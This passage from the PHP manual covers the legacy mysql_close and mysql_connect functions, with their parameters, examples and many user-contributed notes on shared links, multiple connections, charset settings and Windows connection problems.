Then following code helped me:

<?php
mysql_query("SET CHARACTER SET 'latin2'", $conn);
?>
info at jantichy dot cz 30-Dec-2004 02:02
Notice the difference between following two SQL statements:

SET NAMES 'charset_name'
SET CHARACTER SET charset_name

For more detail see
http://dev.mysql.com/doc/mysql/en/Charset-connection.html
black at scene-si dot org 20-Oct-2004 04:04
the above (as it seems to be vaguely indicated in the mysql manual) works only with mysql 4.1+
stian at grytoyr dot net 19-Oct-2004 06:09
If you experience weird problems, like some UTF-8 characters (the Unicode character &#x010D and a few others in my case) seemingly being changed to garbage by mysql_query, you may need to do something like this before your actual query:

<?php
mysql_query("SET NAMES 'utf8'", $conn);
?>

Took me days to figure that one out...
mysql_affected_rows
mysql_close
MySQL Functions


Close MySQL connection

mysql_client_encoding
mysql_connect
MySQL Functions
PHP Manual

mysql_close

(PHP 4, PHP 5)

mysql_close — Close MySQL connection

Description

bool mysql_close ([ resource $link_identifier ] )

mysql_close() closes the non-persistent connection to the MySQL server that's associated with the specified link identifier. If link_identifier isn't specified, the last opened link is used.

Using mysql_close() isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution. See also freeing resources.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysql_close() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

The above example will output:

Connected successfully

Notes

Note:

mysql_close() will not close persistent links created by mysql_pconnect().

See Also

  • mysql_connect() - Open a connection to a MySQL Server
  • mysql_free_result() - Free result memory

User Contributed Notes

omega99999 at gmail dot com 20-Feb-2011 01:44
The variable is definitely not optional in 5.3... Caused me a bit of a headache when I was debugging until I realized it was the close function that was causing a hang. So if using just:

<?php
mysql_connect(<...>);

mysql_close();
?>

Use:

<?php
$connection = mysql_connect(<...>);

mysql_close($connection);
?>

(where $connection is any variable of your choice)
mdes[SPAM]saintes at gmail dot com 09-Jul-2010 09:12
i just came over a problem that i had with apache.

It crashs and said :

"Parent: child process exited with status 3221225477 -- Restarting."

the error came from the extesion php_mysql.dll

i didn't understand what was the reason of that crash..

Then, i debug the script that i had downloaded and i noticed that that was the function mysql_close() which caused the problem.

The solution is, to send to it the link identifier which is optionnal in the description but cause a crash with no commentary.

Thanks to agneady.
Anonymous 23-Apr-2010 02:26
At least with PHP5.3.2 and Windows connecting by tcp, you should always use this mysql_close() function to close and free up the tcp socket being used by PHP.  Garbage collection after script execution does not close the tcp socket on its own.  The socket would otherwise remain in 'wait' state for approximately 30 seconds, and any additional page loads/connection attempts would only add to the total number of open tcp connections.  This wait time does not appear to be configurable via PHP settings.
agneady (nospam please) at gmail dot com 11-Oct-2009 02:09
It seems that as of PHP 5.3, the link_identifier parameter is no longer optional. If not included, it would cause the script to crash with no errors in the output.
bbodelcampo at yahoo dot co dot uk 13-Dec-2005 05:20
A little note about multiple simultaneous connections to different hosts...

I work on a site that pulls content primarily from one db but uses a db on a foreign server to verify licensing.  One might expect the following to work:

<?php
// Open the connection to the primary db
$res1 = mysql_connect($host1, $user1, $pass1);
mysql_select_db($db1);

// Open connection to the license server
$res2 = mysql_connect($host2, $user2, $pass2);
mysql_select_db($db2, $res2);

// Pull license data and close when done
mysql_query($check_sql, $res2);
// ...
mysql_close($res2);

// Now pull content from the primary db
// Not specifying the resource should default to the last open db
mysql_query($query);
// ...
?>

Turns out this last query, since it cant find an active connection, will try to connect with mysql_connect() with no paramaters.  But if instead you do it as mysql_query($query, $res1), or alternatively, run the mysql_connect for this host again then it works fine.  Thus, it doesnt seem to be possible to have code with an overarching "global" db connection interspersed with temporary connections to another host/db....
levi at alliancesoftware dot com dot au 29-Apr-2005 12:03
As at 5.0.x and 4.3.x: This function should never be used with shared links; instead you should set your link variables to null.
(This explains red's and beer's () problems in previous comments)

  Here is how shared links work:
  - Each link is a resource. mysql_connect() by default looks for a resource with the same paramaters. If one exists, it will return the existing resource.
  - Every assignment of that resource to a variable increases the resource's reference count.
  - When the reference is decremented to zero, the underlying TCP/socket connection is closed.
    - Every assignment of a variable away from that resource decrements the reference count. (This includes a function level variable going out of scope)
    - mysql_close() also decrements the reference count.

Note the last two points: mysql_close() _and_ reassignment of a variable decrement the link's reference count.

A common mistake is a function like:

<?php
function dothings() {
  $link = mysql_open(...);
  // .. do some queries ..
  mysql_close($link)
  $link = null;
}
?>

this will decrement the counter twice, possibly closing the underlying connection and causing errors in other parts of the program.

http://bugs.php.net/bug.php?id=30525 "this is not a bug but just how it works"
beer_nomaed _AT_ hotmail _DOT_ com 03-Dec-2004 01:26
Be careful when using multiple links to connect to same database (with same username). Unless you specify explicitly in mysql_connect() to create a new link, it will return an already open link. If that would be closed by mysql_close(), it will also (obviously) close the other connection, since the link is the same.
Had lot of trouble figuring it out, since in <=4.3.6 there was a bug which didn't close the connection, but after the patch to >=4.3.7, all my application broke down because of a single script that did this.
mysql_client_encoding
mysql_connect
MySQL Functions


Open a connection to a MySQL Server

mysql_close
mysql_create_db
MySQL Functions
PHP Manual

mysql_connect

(PHP 4, PHP 5)

mysql_connect — Open a connection to a MySQL Server

Description

resource mysql_connect ([ string $server = ini_get("mysql.default_host") [, string $username = ini_get("mysql.default_user") [, string $password = ini_get("mysql.default_password") [, bool $new_link = false [, int $client_flags = 0 ]]]]] )

Opens or reuses a connection to a MySQL server.

Parameters

server

The MySQL server. It can also include a port number. e.g. "hostname:port" or a path to a local socket e.g. ":/path/to/socket" for the localhost.

If the PHP directive mysql.default_host is undefined (default), then the default value is 'localhost:3306'. In SQL safe mode, this parameter is ignored and value 'localhost:3306' is always used.

username

The username. Default value is defined by mysql.default_user. In SQL safe mode, this parameter is ignored and the name of the user that owns the server process is used.

password

The password. Default value is defined by mysql.default_password. In SQL safe mode, this parameter is ignored and empty password is used.

new_link

If a second call is made to mysql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. The new_link parameter modifies this behavior and makes mysql_connect() always open a new link, even if mysql_connect() was called before with the same parameters. In SQL safe mode, this parameter is ignored.

client_flags

The client_flags parameter can be a combination of the following constants: 128 (enable LOAD DATA LOCAL handling), MYSQL_CLIENT_SSL, MYSQL_CLIENT_COMPRESS, MYSQL_CLIENT_IGNORE_SPACE or MYSQL_CLIENT_INTERACTIVE. Read the section about MySQL client constants for further information. In SQL safe mode, this parameter is ignored.

Return Values

Returns a MySQL link identifier on success or FALSE on failure.

Changelog

Version | Description
4.3.0 | Added the client_flags parameter.
4.2.0 | Added the new_link parameter.

Examples

Example #1 mysql_connect() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

Example #2 mysql_connect() example using hostname:port syntax

<?php
// we connect to example.com and port 3307
$link = mysql_connect('example.com:3307', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);

// we connect to localhost at port 3307
$link = mysql_connect('127.0.0.1:3307', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

Example #3 mysql_connect() example using ":/path/to/socket" syntax

<?php
// we connect to localhost and socket e.g. /tmp/mysql.sock

// variant 1: omit localhost
$link = mysql_connect(':/tmp/mysql', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);

// variant 2: with localhost
$link = mysql_connect('localhost:/tmp/mysql.sock', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

Notes

Note:

Whenever you specify "localhost" or "localhost:port" as server, the MySQL client library will override this and try to connect to a local socket (named pipe on Windows). If you want to use TCP/IP, use "127.0.0.1" instead of "localhost". If the MySQL client library tries to connect to the wrong local socket, you should set the correct path as in your PHP configuration and leave the server field blank.

Note:

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling mysql_close().

Note:

You can suppress the error message on failure by prepending a @ to the function name.

Note:

Error "Can't create TCP/IP socket (10106)" usually means that the variables_order configure directive doesn't contain character E. On Windows, if the environment is not copied the SYSTEMROOT environment variable won't be available and PHP will have problems loading Winsock.

See Also

  • mysql_pconnect() - Open a persistent connection to a MySQL server
  • mysql_close() - Close MySQL connection

User Contributed Notes

bimal at sanjaal dot com 05-Jun-2011 12:15
Portable connections: If you migrate your source code from one to different servers and you would like to avoid re-configuration on a new serve, user the $_SERVER['SERVER_NAME'] flag as:

<?php
switch($_SERVER['SERVER_NAME'])
{
case 'server1.example.com':
  mysqlconnect('host1', 'user1', 'password1');
  mysql_select_db('db1');
  break;
case 'server2.example.com':
  mysqlconnect('host2', 'user2', 'password2');
  mysql_select_db('db2');
  break;
}
?>

This makes a conditional connection to mysql database. It automatically chooses the correct server according to the server name from where your script runs.

Hopefully, you like this portable configuration.
avinc@live,hk 18-Apr-2011 05:47
My situation: "I could connect to MySQL from the PHP via Apache and MySQL via the MySQL console, and could not connect via the PHP"

But, PHP only can connect to MySQL using mysql_connect("localhost", "root", "password");

"Its selinux not allowing apache to make remote connections"

Solution:
setsebool -P httpd_can_network_connect=1
J_S_Fink at yahoo dot com 24-Mar-2011 07:50
Here's a singleton class to manage a single Database connection.  The Open method uses constant values as defautls, read from an ini file through an initializer script loaded at the top of each web page.  You can also override the default values by manually entering your own (in case you need to switch servers or database names mid-script).

The qry function takes a prepared statement and will return the first row, first associative row, first cell, or entire result set based on the second parameter (entire result if omitted).

Usage:
$DB = DB::Open();
$result = $DB->qry(" {SQL Statement} ;");

<?php
    abstract class Database_Object
    {
        protected static $DB_Name;
        protected static $DB_Open;
        protected static $DB_Conn;

        protected function __construct($database, $hostname, $hostport, $username, $password)
        {
            self::$DB_Name = $database;
            self::$DB_Conn = mysql_connect($hostname . ":" . $hostport, $username, $password);
            if (!self::$DB_Conn) { die('Critical Stop Error: Database Error<br />' . mysql_error()); }
            mysql_select_db(self::$DB_Name, self::$DB_Conn);
        }

        private function __clone() {}

        public function __destruct()
        {
//            mysql_close(self::$DB_Conn);  <-- commented out due to current shared-link close 'feature'.  If left in, causes a warning that this is not a valid link resource.
        }
    }

    final class DB extends Database_Object
    {
        public static function Open($database = DB_NAME, $hostname = DB_HOST, $hostport = DB_PORT, $username = DB_USER, $password = DB_PASS)
        {
            if (!self::$DB_Open)
            {
                self::$DB_Open = new self($database, $hostname, $hostport, $username, $password);
            }
            else
            {
                self::$DB_Open = null;
                self::$DB_Open = new self($database, $hostname, $hostport, $username, $password);
            }
            return self::$DB_Open;
        }

        public function qry($sql, $return_format = 0)
        {
            $query = mysql_query($sql, self::$DB_Conn) OR die(mysql_error());
            switch ($return_format)
            {
                case 1:
                    $query = mysql_fetch_row($query);
                    return $query;
                    break;
                case 2:
                    $query = mysql_fetch_array($query);
                    return $query;
                    break;
                case 3:
                    $query = mysql_fetch_row($query);
                    $query = $query[0];
                    return $query;
                default:
                    return $query;
            }
        }
    }
?>
fano_linux at hotmail dot com 19-Feb-2011 02:04
I hope to help someone with this solution.

Recently I had many problems with updating and inserting records into mysql in more than one connection. The scenario: multiple connections to remote MySQL, and PHP CLI (php-gtk).
When not initiated a transaction to update a record when another user attempted to update the same record the script crashed and no longer came up as the connection was resumed.

Solution, for each change or insert start and end the transaction with mysql;
BEGIN and COMMIT;
Harouk 28-Jan-2011 06:11
If you encounter speed problems using this command to a distant server, you can add the line "skip-name-resolve" in your my.cnf to fix it.
i dot linker at gmail dot com 13-Nov-2010 10:55
MySQL connection string regexp:
~mysql://([^:@/]*):?([^@/]*)@?([^/]*)/?([^/]*)~
gratcypalma at gmail dot com 19-Aug-2010 11:11
here my class connection. i created to help my work.

<?php
class DBConfig {

    var $host;
    var $user;
    var $pass;
    var $db;
    var $db_link;
    var $conn = false;
    var $persistant = false;

    public $error = false;

    public function config(){ // class config
        $this->error = true;
        $this->persistant = false;
    }

    function conn($host='localhost',$user='root',$pass='pass',$db='database'){ // connection function
        $this->host = $host;
        $this->user = $user;
        $this->pass = $pass;
        $this->db = $db;

        // Establish the connection.
        if ($this->persistant)
            $this->db_link = mysql_pconnect($this->host, $this->user, $this->pass, true);
        else
            $this->db_link = mysql_connect($this->host, $this->user, $this->pass, true);

        if (!$this->db_link) {
            if ($this->error) {
                $this->error($type=1);
            }
            return false;
        }
        else {
        if (empty($db)) {
            if ($this->error) {
                $this->error($type=2);
            }
        }
        else {
            $db = mysql_select_db($this->db, $this->db_link); // select db
            if (!$db) {
                if ($this->error) {
                    $this->error($type=2);
                }
            return false;
            }
            $this -> conn = true;
        }
            return $this->db_link;
        }
    }

    function close() { // close connection
        if ($this -> conn){ // check connection
            if ($this->persistant) {
                $this -> conn = false;
            }
            else {
                mysql_close($this->db_link);
                $this -> conn = false;
            }
        }
        else {
            if ($this->error) {
                return $this->error($type=4);
            }
        }
    }

    public function error($type=''){ //Choose error type
        if (empty($type)) {
            return false;
        }
        else {
            if ($type==1)
                echo "<strong>Database could not connect</strong> ";
            else if ($type==2)
                echo "<strong>mysql error</strong> " . mysql_error();
            else if ($type==3)
                echo "<strong>error </strong>, Proses has been stopped";
            else
                echo "<strong>error </strong>, no connection !!!";
        }
    }
}

// example to use

$DB = new DBConfig();
$DB -> config();
$DB -> conn();
// mysql command
// mysql_query and others..
$DB -> close();
?>
tpl99 at yandex dot ru 30-Apr-2010 01:56
Whenever you open two connections to a single database,
you are likely not to get any error when selecting not existing db.

<?php
$db1 = mysql_connect( ... );
mysql_select_db('existing_db',$db1);

$db2 = mysql_connect( ... );
mysql_select_db('not_existing_db', $db2);

mysql_query(... , $db2);
//will return no errors and the query wouldn't be executed.
?>

Pay attention and you may save few hours of debugging.
chris at chriswpage dot com 28-Mar-2010 01:01
TA point to especially note from the above documentation is that the mysql client library has special behavior around "localhost", in that it will use a socket file instead of TCP/IP.  Socket files, while faster, only work if the php script is on the same machine as the database.

I found this difficult to overcome when I split off a database server from a server that had a handful of hosted clients all referencing "localhost".  After significant effort, and failing with my knowledge of socat and autossh tunnelling as mentioned as a workaround to setup a forward from the socket file to TCP/IP in a mysql forum.  I finally resorted to using DNS to reference the DB and no longer provide "localhost".  It was a pain to update clients, but live and learn.

I tend to work in distributed environments, and now make it a sort of rule of thumb/best practice to use DNS instead of hard coding "localhost" or "x.x.x.x".

Hope this helps others out there.

Chris Page
abelcheung at gmail dot com 17-Mar-2010 10:37
Note that named pipe on Windows is unusable since PHP 5.3, and TCP connection shall be used even in localhost.
sholland at napervillegi dot com 02-Dec-2009 09:18
If you are getting an error "Can't assign requested address" you may have a problem with the mysql port.  I had just moved my server to Mac OS X 10.6 and mysql_connect was giving this error.  Going into the /etc/php.ini file and setting the default port number to 3306 fixed the problem.

mysql.default_port = 3306

The php.ini file suggests that PHP will select the port by using the $MYSQL_TCP_PORT or the mysql-tcp entry in /etc/services, but in this case it is not so.  /etc/services on my machine has 3306 listed, but it didn't get picked up.

This is sort of a bug report, in that the documented feature isn't working.  Please don't delete this until the community decides how to address the problem.  This is one of those hair pulling exercises to get fixed.
Bruce Kirkpatrick 28-Oct-2009 09:48
On Windows Vista or above, an entry in the Windows/System32/drivers/etc/hosts file causes mysql_connect() connections to "localhost" to timeout and never connect.  This happens on php 5.3 and above since it now uses mysql native driver which has changed it connection behavior compared to libmysql.dll in previous versions.  It is not a PHP bug, but definitely a configuration issue for users on new windows systems.

To get around this, you must remove the entry like this:
::1             localhost

and make sure you still have:
127.0.0.1       localhost

Also, you could change the code to connect to the ip instead, but that is inconvenient if you have many web sites.

This issue occurs on Windows Vista, Windows 7 and Windows Server 2008.
david dot schueler at wapkamera dot de 11-Sep-2009 08:51
If you are getting MySQL Errors like #2006: MySQL server has gone away, and you are using mysql_connect() and pcntl_fork() then make shure that you are reconnecting to the mysql server with each created child which you fork()ed.

I pulled my hair out for many days because i was using the same mysql connection for each child and was getting that "MySQL server has gone away" errors.

Here is a simple example:
<?php
$link = mysql_connect($db_server, $db_user, $db_pass);
mysql_select_db($db_database,$link));

$pid = pcntl_fork();
if ($pid == -1)
  // Error forking child
elseif ($pid) {
  // Parent will be here
} else {
  // The child has to esablish a *new* mysql connection.
  // if you use mysql_connect without the 4th parameter
  // then it will use the connection from the parent. But
  // if the child dies, the connection will be unaviable in
  // the parent too.
  // So, note the "true" as 4th parameter.
  $newlink = mysql_connect($db_server, $db_user, $db_pass,true);
  mysql_select_db($db_database,$newlink));
  // ...
}
?>
sedativchunk at gmail dot com 30-Jul-2009 09:36
Here is a connection class I created for one of my websites for a MYSQL connection. Feel free to use it on one of your applications anyone! It's MYSQL with OOP in mind and works similar to ASP.net methods for connecting to a database. The benefit of this class is easy management of multiple MYSQL connections.

The class:

<?php
class Connection
      {
        var $db_connection = null;        // Database connection string
        var $db_server = null;            // Database server
        var $db_database = null;          // The database being connected to
        var $db_username = null;          // The database username
        var $db_password = null;          // The database password
        var $CONNECTED = false;           // Determines if connection is established

        /** NewConnection Method
         * This method establishes a new connection to the database. */
        public function NewConnection($server, $database, $username, $password)
        {
            // Assign variables
            global $db_connection, $db_server, $db_database, $db_username, $db_password;
            $db_server = $server;
            $db_database = $database;
            $db_username = $username;
            $db_password = $password;

            // Attempt connection
            try
            {
                // Create connection to MYSQL database
                // Fourth true parameter will allow for multiple connections to be made
                $db_connection = mysql_connect ($server, $username, $password, true);
                mysql_select_db ($database);
                if (!$db_connection)
                {
                    throw new Exception('MySQL Connection Database Error: ' . mysql_error());
                }
                else
                {
                    $CONNECTED = true;
                }
            }
            catch (Exception $e)
            {
                echo $e->getMessage();
            }
        }

        /** Open Method
        * This method opens the database connection (only call if closed!) */
        public function Open()
        {
            global $db_connection, $db_server, $db_database, $db_username, $db_password, $CONNECTED;
            if (!$CONNECTED)
            {
                try
                {
                    $db_connection = mysql_connect ($db_server, $db_username, $db_password);
                    mysql_select_db ($db_database);
                    if (!$db_connection)
                    {
                        throw new Exception('MySQL Connection Database Error: ' . mysql_error());
                    }
                    else
                    {
                        $CONNECTED = true;
                    }
                }
                catch (Exception $e)
                {
                    echo $e->GetMessage();
                }
            }
            else
            {
                return "Error: No connection has been established to the database. Cannot open connection.";
            }
        }

        /** Close Method
         * This method closes the connection to the MySQL Database */
         public function Close()
         {
            global $db_connection, $CONNECTED;
            if ($CONNECTED)
            {
                mysql_close($db_connection);
                $CONNECTED = false;
            }
            else
            {
                return "Error: No connection has been established to the database. Cannot close connection.";
            }
         }

      }
?>
cory dot mawhorter gmail.com 02-Jul-2009 04:38
Hopefully this saves someone some grief.

My dev computer is windows and runs wampserver.  I have frequent problems with PHP being unable to connect to MySQL after periods of extreme DB activity.

Long story short, it was because I was not running mysql via named-pipes and Windows was running out of available ports to serve PHP.  Apparently, on windows, you have 5000 ports to work with and once they are opened, they remain so for 120 seconds before being released.  This causes problems with mysql/networking because a new port is requested for each connection.

You can read more about the problem at:
(Link too long and had to be broken up)
http://dev.mysql.com/doc/refman/5.0/en
/can-not-connect-to-server.html#can-not-connect-to-server-on-windows
?>

Since mysql is on localhost, I can just enable named-pipes (which is how you should have mysql setup if you don't need networking) to get around the problem instead of the workaround listed on that page.

For details, see:
http://dev.mysql.com/tech-resources
/articles/securing_mysql_windows.html
Contact at LinuxIntro dot com 27-Oct-2008 09:34
When you connect and expect to use a stored procedure,you must pass a special flag to MySQL via the connect command, otherwise you will not get the results returned, and it will result in this error:
PROCEDURE AlexGrim.GetStats_ForumCategories can't return a result set in the given context

To fix this, change you connection string, adding ",false,65536" as the last 2 fields:
$this->con = mysql_connect($this->h,$this->u,$this->p,false,65536);
bmagilavy at avalon-internet dot com 04-Sep-2008 01:00
If you trying to connect to a remote server, here are a few things that can go wrong. Perhaps this list will save someone some time:

1. You may need to get in touch with the remote server's tech support:

 a. to ensure that you can get through its firewall. It is not necessarily enough to have your server number listed in the recipient site's cpanel remote access host list. It depends on how the server company has things set up;

 b. to find out what port number they are using for database connections, which may not be the default used by mysql_connect;

 c. If you are using ODBC, the host to which you are trying to connect may or may not have any ODBC drivers installed; and

 d. If you are working from a dynamic IP, they may be set up to accommodate it, or you may have to use a proxy. See http://forge.mysql.com/wiki/MySQL_Proxy .

2. If you are working from a shared server yourself, the server number you were sent in the sign-up letter is probably NOT the server number you should be using to connect to a remote database. You need the server number of the machine on which your site is sitting, not your virtual account server number on that machine. You can get this from your own tech support.

I am grateful to Jonathan Jones at Bluehost for this analysis.
pascalxusNOSPAM at yahoo dot com 22-Aug-2008 12:08
I just wanted to share a common wrapper that I use for executing one line SQL statements.  Its an easy wrapper to use that takes care of the connection open/close.  Optionally, the mysql_connect can be replaced with mysql_pconnect for persistent connections.

  function executeQuery( $query, $db, $nocon )
  {
      if( $nocon != "nocon" )
        if( $db != "" ) connect( $db );
        else connect( "pascal_crm" );

      $result= mysql_query( $query );
      $err   = mysql_error();
      if( $err != "" ) echo "error=$err  ";

      if( $nocon != "nocon" )
        mysql_close();
      return $result;
  }

Here's a related mysql_pconnect trivia question:
http://www.codesplunk.com/nr/questions/php17.html
Boris K 24-Jul-2008 08:41
Coderlit and angelo,

this may be the solution:

<?php
    if (!isset($g_link)) {
        $g_link = false;
    }

    function GetMyConnection()
    {
        global $g_link;
        if( $g_link )
            return $g_link;
        $g_link = mysql_connect( 'localhost', 'dbuser', 'dbpass') or die('Could not connect to mysql server.' );
        mysql_select_db('wordpress', $g_link) or die('Could not select database.');
        return $g_link;
    }

    function CleanUpDB()
    {
        global $g_link;
        if( $g_link != false )
            mysql_close($g_link);
        $g_link = false;
    }

?>
coderlit at G dot mail\ dot com 08-Jun-2008 08:56
The note from angelo [at] mandato <dot> com is a good way to reuse the msyql connection, like mysql connection pooling.

However, you need to remove the $g_link = false; in the file. Other wise,  everytime you include this file, the mysql connection is set to false, and you have to call the mysql_connect again to connect to the sql server, even though you may have already have live mysql connection ready for use.

<?php
//need to remove this line to resue the connection resource
    $g_link = false;

    function GetMyConnection()
    {
        global $g_link;
        if( $g_link )
            return $g_link;
        $g_link = mysql_connect( 'localhost', 'dbuser', 'dbpass') or die('Could not connect to mysql server.' );
        mysql_select_db('wordpress', $g_link) or die('Could not select database.');
        return $g_link;
    }

    function CleanUpDB()
    {
        global $g_link;
        if( $g_link != false )
            mysql_close($g_link);
        $g_link = false;
    }

?>
arithmetric at gmail dot com 25-Mar-2008 10:59
If you are trying to open multiple, separate MySQL connections with the same MySQL user, password, and hostname, you must set $new_link = TRUE to prevent mysql_connect from using an existing connection.

For example, you are opening two separate connections to two different databases (but on the same host, and with the same user and password):

$db1 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname1, $db1);
$db2 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname2, $db2);

At this point, both $db1 and $db2 will have selected the database named by $dbname2.

The workaround is to require that the second MySQL connection is new:

$db1 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname1, $db1);
$db2 = mysql_connect($dbhost, $dbuser, $dbpass, TRUE);
$rv = mysql_select_db($dbname2, $db2);

Now, $db1 should have selected $dbname1, and $db2 should have selected $dbname2.

This has been documented on the mysql_select_db page as well.

Note: This occurs only when the server, username, and password parameters are identical for each mysql_connect statement.
aeolianmeson at blitzeclipse dot com 03-Mar-2008 12:15
Recently, I saw an obscure problem where I could connect to MySQL from the PHP via Apache and MySQL via the MySQL console, and could not connect via the PHP-CLI. This was in Windows (XP). I usually use MySQLi extension, but also tried MySQL, and both refused to work.

I restarted the service multiple times, and the PHP-CLI still would not connect.

This eventually cleared up.

I made sure to stop the service. Then, I downloaded a zipped binary-package from dev.mysql.com and started the server a few times from the commandline (mysqld/mysqld-nt, where mysqld-nt is tuned specifically for Windows) and stopped it ("mysqladmin shutdown"). I was then able to successfully connect from the PHP-CLI ("php -r "mysql_connect('localhost', 'root', ''); ").

Making sure it was stopped, I started the regular server from the commandline, and that was then successful. I then stopped it and started it via the Services panel, and everything still worked.

I'm assuming that when the service was restarted initially, there was a component that had died and refused to be shutdown even though the service appeared to be stopped, but shutting it down via mysqladmin killed everything entirely.
dan at novapulsar dot com 11-Feb-2008 11:24
[EDIT by danbrown AT php DOT net: The issue this user is illustrating is a common problem when dealing with multiple databases from PHP.  Note his comments at the end of the code for an explanation.]

Looks like I learned this the hard way:

<?php

//establish connection to master db server
mysql_connect (DB_HOST, DB_USER, DB_PASSWORD);
mysql_select_db (DB_NAME);

//establish connection to read-only slave cluster
$objMySQL_Read = mysql_connect (SLAVE_DB_HOST, SLAVE_DB_USER, SLAVE_DB_PASSWORD);
mysql_select_db (DB_NAME, $objMySQL_Read);

$strSQL = "SELECT col1,col2 FROM "  . DB_NAME . "." . "tbl1 WHERE 1=1";

$objRS = mysql_query ($strSQL, $objMySQL_Read); //returns data from slaves

$strSQL = "INSERT INTO " . DB_NAME . "." . "tbl1 (col1,col2) VALUES (val1,val2)";

mysql_query ($strSQL);

//expected behavior, to insert the last statement into the master db, since it doesn't reference the read-only resource explicitly. instead, it inserts the record into the last connection, even though it shouldn't, since the last connection is not a global/anonymous connection like the first one, it's $objMySQL_Read.

//you'll get out of sync db's across your cluster unless you explicitly define all connection resources

?>
Steve 24-Dec-2007 03:32
The too many connections issue can be due to several problems.

1. you are using pconnect. This can tie up many connections and is not really needed for MySQL as new connections are really fast.

2. Apache children are hanging around for too long - combine this with pconnect and you have recipe for disaster.

Suggestions: reduce the amount of time apache child processes stay connected to the client and how many connections before they are killed off. And don't use pconnect.
Ignacio Casinelli Esviza 20-Oct-2007 10:51
Sometimes, I want that MySQL service start automatically when my app need it. This is specially true if you work in a development PC and/or in an small intranet environment.

You can do something like this: if the mysql_connect() function returns FALSE, try to force the initialization of the MySQL service!

For example, under Windows:

<?php

$link = @mysql_connect($server,$user,$pass);
if (empty($link)){
    @exec("%SystemRoot%\\system32\\net.exe start mysql");
    sleep(5);
    $link = @mysql_connect($servidor,$usuario,$clave);
}

?>

In Linux of course you can try "/etc/init.d/mysqld start" but you will need special permissions.

Regards.
Peter Robinett 02-Oct-2007 06:20
The use of mysql connections can become tricky with objects. I am using mysql_connect() in a database class I wrote and the class destructor calls mysql_close. Because I have several of these database objects, mysql_connect reuses existing connections. This is fine except when the script reaches the end of execution and PHP's garabage collection calls all the objects' __destruct() functions. mysql_close() throws a warning that the connection is invalid, in my case for one object. This is happening with objects which use an existing connection, as the connection has already been closed. I solved the problem by forcing mysql_connect() to create a new connection each time. This is not efficient but is sufficient for my purposes for now.

I wouldn't say this is a bug per-se, but it's something to look out for. I imagine using mysqli is the ultimate solution...
aichi 13-Aug-2007 09:11
All constants from MySQL source:

#define CLIENT_LONG_PASSWORD 1 /* new more secure passwords */
#define CLIENT_FOUND_ROWS 2 /* Found instead of affected rows */
#define CLIENT_LONG_FLAG 4 /* Get all column flags */
#define CLIENT_CONNECT_WITH_DB 8 /* One can specify db on connect */
#define CLIENT_NO_SCHEMA 16 /* Don't allow database.table.column */
#define CLIENT_COMPRESS 32 /* Can use compression protocol */
#define CLIENT_ODBC 64 /* Odbc client */
#define CLIENT_LOCAL_FILES 128 /* Can use LOAD DATA LOCAL */
#define CLIENT_IGNORE_SPACE 256 /* Ignore spaces before '(' */
#define CLIENT_PROTOCOL_41 512 /* New 4.1 protocol */
#define CLIENT_INTERACTIVE 1024 /* This is an interactive client */
#define CLIENT_SSL 2048 /* Switch to SSL after handshake */
#define CLIENT_IGNORE_SIGPIPE 4096 /* IGNORE sigpipes */
#define CLIENT_TRANSACTIONS 8192 /* Client knows about transactions */
#define CLIENT_RESERVED 16384 /* Old flag for 4.1 protocol */
#define CLIENT_SECURE_CONNECTION 32768 /* New 4.1 authentication */
#define CLIENT_MULTI_STATEMENTS 65536 /* Enable/disable multi-stmt support */
#define CLIENT_MULTI_RESULTS 131072 /* Enable/disable multi-results */
#define CLIENT_REMEMBER_OPTIONS (((ulong) 1) << 31)
martin 09-Aug-2007 07:35
MYSQL_CLIENT_SSL is not working, use MySQLi and mysqli->ssl_set()
jslakva at gmail dot com 08-Apr-2007 06:05
if between first and second call with same arguments there was another call with another argument, initial connection link is not reused, but new connection is created instead, regardless of new_link argument.

for example, here only one single link will be opened and then reused:
<?php
$link1 = mysql_connect("localhost");
$link2 = mysql_connect("localhost");
?>

and here _three_ separate links will be opened:
<?php
$link1 = mysql_connect("localhost");
$link3 = mysql_connect("127.0.0.1");
$link2 = mysql_connect("localhost");
?>

so if you wanted to switch between connections just by call to mysql_connect, and rely on its internal link caching, you can be wasting your database connections.
angelo [at] mandato <dot> com 19-Mar-2007 01:07
The post from 'Graham_Rule at ed dot ac dot uk' should include the following WARNING:

WARING: THE VALUES OF THESE DIRECTIVES WILL BE EXPOSED IF ANY OF THE CODE INCLUDES THE phpinfo() FUNCTION.

The phpinfo() function will print these values clear as day.  I highly suggest against this method of storing MySQL authentication information.

I recommend creating connect and cleanup functions in a separate include file.  If security is a concern, locate the include file outside of your web root folder.

<?php
    $g_link = false;

    function GetMyConnection()
    {
        global $g_link;
        if( $g_link )
            return $g_link;
        $g_link = mysql_connect( 'host.name', 'user', 'password') or die('Could not connect to server.' );
        mysql_select_db('database_name', $g_link) or die('Could not select database.');
        return $g_link;
    }

    function CleanUpDB()
    {
        global $g_link;
        if( $g_link != false )
            mysql_close($g_link);
        $g_link = false;
    }

?>

Simply include your connnection.php file in your script and anywhere you use the mysql_query() function include a call to the GetMyConnection() function.

<?php
    $res = mysql_query("SELECT ...", GetMyConnection() );
?>
